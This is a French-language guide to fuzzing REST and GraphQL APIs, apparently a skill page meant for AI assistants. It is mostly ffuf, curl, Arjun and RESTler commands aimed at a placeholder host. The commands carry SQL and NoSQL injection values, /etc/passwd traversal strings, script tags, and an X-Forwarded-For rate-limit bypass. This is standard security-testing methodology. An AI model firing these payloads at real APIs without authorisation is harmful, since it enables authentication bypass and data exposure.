Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
Guide complet de fuzzing avancé d'API REST/GraphQL — structure-aware fuzzing, grammar-based fuzzing, differential fuzzing, ffuf methodologies, param mining, value tampering, status code analysis, et custom fuzzing scripts
category
cybersecurite
API Fuzzing Avancé — Guide Complet
Introduction
Le fuzzing d'API consiste à envoyer des données inattendues, invalides, ou aléatoires pour découvrir des comportements non prévus : crashs, fuites d'information, contournements d'auth, injections.
# Filtrer par code HTTP
ffuf -u https://api.target.com/api/v1/users/FUZZ -w ids.txt \
-fc 404,403,401,500 # exclure les codes d'erreur# Filtrer par taille de réponse
ffuf -u https://api.target.com/api/v1/users/FUZZ -w ids.txt \
-fs 0,23,45,128 # exclure les tailles spécifiques (pages d'erreur)# Filtrer par nombre de lignes
ffuf -u https://api.target.com/api/v1/users/FUZZ -w ids.txt \
-fl 0,5,10 # exclure les réponses avec 0/5/10 lignes# Filtrer par regex dans la réponse
ffuf -u https://api.target.com/api/v1/users/FUZZ -w ids.txt \
-fr "error|not found|invalid"# exclure les réponses qui matchent
1.3 Fuzzing de Méthodes HTTP
# Tester toutes les méthodes HTTP sur un endpoint
ffuf -w methods.txt -u https://api.target.com/api/v1/users \
-X FUZZ -fc 404,405
# methods.txt:# GET# POST# PUT# PATCH# DELETE# HEAD# OPTIONS# TRACE# CONNECT# PURGE# PROPFIND# PATCH
1.4 Fuzzing avec Rate Limiting
# Mode lent pour éviter le rate limiting
ffuf -u https://api.target.com/api/v1/users/FUZZ -w ids.txt \
-p 0.5 # pause de 0.5s entre chaque requête# Mode parallèle avec délai
ffuf -u https://api.target.com/api/v1/users/FUZZ -w ids.txt \
-t 1 -p 0.2 # 1 thread, 200ms de pause# Rate limiting bypass via headers (cf: api-rate-limiting-bypass)
ffuf -u https://api.target.com/api/v1/users/FUZZ -w ids.txt \
-H "X-Forwarded-For: FUZZ2" -w ips.txt
2. Structure-Aware Fuzzing
2.1 JSON Body Fuzzing
# Fuzzing de types JSON
ffuf -u https://api.target.com/api/v1/users -X POST \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"FUZZ"}' \
-w payloads.txt
# Fuzzing de champs individuelsfor value in"null""true""false""0""1""-1""''"'""' \
"[]""{}""admin""' OR '1'='1""${IFS}" \
"%00""\x00""<script>""../../../etc/passwd"; do
curl -X POST https://api.target.com/api/v1/users \
-H "Content-Type: application/json" \
-d "{\"username\":\"admin\",\"password\":\"test\",\"role\":$value}"done# Fuzzing de la profondeur JSONfor depth in 1 2 3 4 5 10 50 100; do
nested=$(python3 -c "
import json
d = {}
current = d
for i in range($depth):
current['a'] = {}
current = current['a']
print(json.dumps(d))
")
curl -X POST https://api.target.com/api/v1/users \
-H "Content-Type: application/json" -d "$nested"done
2.2 Schema Validation Bypass
# Ajouter des champs non prévus dans le schéma
curl -X POST https://api.target.com/api/v1/users \
-d '{"username":"admin","password":"test","unexpectedField":{"nested":{"deeper":"value"}}}'# Types de champs invariants
curl -X POST https://api.target.com/api/v1/users \
-d '{"username":{"$gt":""},"password":{"$ne":""}}'# Champs manquants
curl -X POST https://api.target.com/api/v1/users \
-d '{}'
curl -X POST https://api.target.com/api/v1/users \
-d '{"username":null}'
2.3 Boundary Value Analysis
# Valeurs limites pour les champs numériquesfor val in 0 1 -1 999999 9999999999 -9999999999 \
2147483647 2147483648 -2147483648 # Int32 limits \
9223372036854775807 9223372036854775808 # Int64 limits \
1.7976931348623157e308 5e-324; do# Float limits
curl -X POST https://api.target.com/api/v1/orders \
-d "{\"quantity\":$val,\"productId\":1}"done# Valeurs limites pour les stringsfor len in 0 1 255 256 512 1024 4096 65535 65536 100000; do
long_str=$(python3 -c "print('A'*$len)")
curl -X POST https://api.target.com/api/v1/users \
-d "{\"username\":\"$long_str\",\"password\":\"test\"}"done
3. Parameter Mining
3.1 Découverte de Paramètres Cachés
# Arjun — découverte de paramètres HTTP
arjun -u https://api.target.com/api/v1/users \
-m GET --headers "Authorization: Bearer <token>"# Arjun avec wordlist
arjun -u https://api.target.com/api/v1/login \
-m POST -d '{"user":"test","pass":"test"}' \
-w /usr/share/wordlists/api_params.txt
# Paramètre fuzzing avec ffuf
ffuf -u https://api.target.com/api/v1/users?FUZZ=1 \
-w api_params.txt -fs 0,23
# Wordlist de paramètres courantscat << 'EOF' > api_params.txt
id
user_id
userId
token
api_key
apikey
secret
key
access_token
format
typelimit
offset
page
sort
order
filter
search
q
query
fields
include
expandselect
embed
scope
callback
jsonp
callback
redirect
redirect_uri
next
continue
debug
admin
test
EOF
3.2 Fuzzing de Valeurs par Paramètre
# Fuzzing de paramètres booléensfor val intruefalse 0 1 yes no null "null""True""False"; do
curl -s "https://api.target.com/api/v1/users?admin=$val" \
-H "Authorization: Bearer <token>" | head -c 200
echo"--- admin=$val"done# Fuzzing des paramètres de paginationforlimitin 0 1 -1 9999 9999999 -9999999 0.5 "a""null""true"; do
curl -s "https://api.target.com/api/v1/users?limit=$limit"echo"--- limit=$limit"done
4. Differential Fuzzing
4.1 Comparaison de Réponses
# Comparer les réponses entre deux requêtes similaires# Pour détecter des comportements différents non attendus
curl -s "https://api.target.com/api/v1/users/1" > resp_user1.json
curl -s "https://api.target.com/api/v1/users/2" > resp_user2.json
diff resp_user1.json resp_user2.json # Comparer les structures# Test A/B avec et sans paramètre
curl -s "https://api.target.com/api/v1/users/me" > resp_no_param.json
curl -s "https://api.target.com/api/v1/users/me?include=private" > resp_param.json
diff resp_no_param.json resp_param.json
4.2 Error Message Analysis
# Analyser les messages d'erreur pour le versioningfor val in"''" null truefalse 0 -1 "[]""{}""' OR '1'='1"; do
curl -s -X POST https://api.target.com/api/v1/users \
-H "Content-Type: application/json" \
-d "{\"username\":$val,\"password\":\"test\"}" \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('error',''))"done
5. API Fuzzing avec outil dédié
5.1 RESTler (Microsoft)
# RESTler — fuzzing structurel pour API REST# Compiler la spécification
restler-quick-start.py --api_spec swagger.json \
--grammar_output ./grammar
# Fuzzer
restler-fuzzer.py --grammar_file ./grammar/grammar.py \
--target_ip api.target.com --target_port 443 \
--https --token_refresh_command "curl -X POST ..."